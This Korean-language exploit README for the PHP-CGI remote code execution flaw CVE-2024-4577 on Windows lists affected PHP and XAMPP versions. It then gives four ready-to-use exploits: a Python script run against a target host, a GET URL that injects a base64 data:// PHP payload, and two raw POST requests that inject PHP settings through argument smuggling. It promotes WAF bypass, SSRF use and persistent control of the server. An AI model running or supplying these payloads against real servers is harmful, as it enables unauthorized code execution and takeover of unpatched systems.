CVE-2024-4577-PHP-RCE

프로젝트 소개 및 원리

• PHP 기본 환경(XAMPP)을 활용한 최초의 CVE-2024-4577 PHP-CGI RCE 취약점 EXP.
• The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit, supports SSRF, supports WAF bypass.
• PHP 기본 환경에서 RCE 구현. 원리: cgi.force_redirect + REDIRECT-STATUS.
• 신규 오리지널 EXP 추가, WAF 우회 시나리오 공격 방식 지원. 원리: FastCGI 서버 구축 + FastCGI 프로토콜 통신.
• 신규 오리지널 EXP 추가, SSRF 시나리오 공격 방식 지원. 원리: data:// 프로토콜 + GET 요청.

EXP 1 장점

• allow_url_include, auto_prepend_file, auto_append_file 없이 RCE 가능. 임의 파일 및 php 파일 포함 가능.
• WAF가 자주 차단하는 키워드 allow_url_include, auto_prepend_file, auto_append_file가 나타나지 않음.
• FastCGI 서버의 모든 통신은 WAF에 기록되지 않음.
• 새 포트를 리슨하므로 php 서버를 영구적으로 제어 가능, apache 및 php와 독립적.

취약점 개요

영향을 받는 버전

• PHP Windows 버전 8.3.0 <= 영향 버전 < 8.3.8
• PHP Windows 버전 8.2.0 <= 영향 버전 < 8.2.20
• PHP Windows 버전 8.1.0 <= 영향 버전 < 8.1.29
• PHP Windows 버전 영향 버전 == 8.0.x
• PHP Windows 버전 영향 버전 == 7.x
• PHP Windows 버전 영향 버전 == 5.x
• XAMPP Windows 버전 8.2.0 <= 영향 버전 <= 8.2.12
• XAMPP Windows 버전 8.1.0 <= 영향 버전 <= 8.1.25
• XAMPP Windows 버전 영향 버전 == 8.0.x
• XAMPP Windows 버전 영향 버전 == 7.x
• XAMPP Windows 버전 영향 버전 == 5.x

EXP 1

WAF 우회 시나리오 + 기본 시나리오에 사용 가능:

python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort

예시:

python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80

EXP 2

SSRF 시나리오 + 기본 시나리오에 사용 가능:

http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"

EXP 3

기본 시나리오에 사용 가능:

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost

<?php die("Te"."sT");?>

EXP 4

기본 시나리오에 사용 가능:

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN

<?php die("Te"."sT");?>

재현

1. 서버 환경:

XAMPP Windows 버전 8.2.12

2. 서버에서 XAMPP 다운로드 및 설치:

https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

또는 직접 아래 사이트에서 영향을 받는 버전을 선택: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/

3. 서버 설정

수정 없이 기본 설정 유지

4. 클라이언트에서 EXP 사용

위의 EXP를 사용하여 테스트

5. 확인

문자열 "TesT" 또는 서버의 system.ini 파일 내용이 반환되는지 확인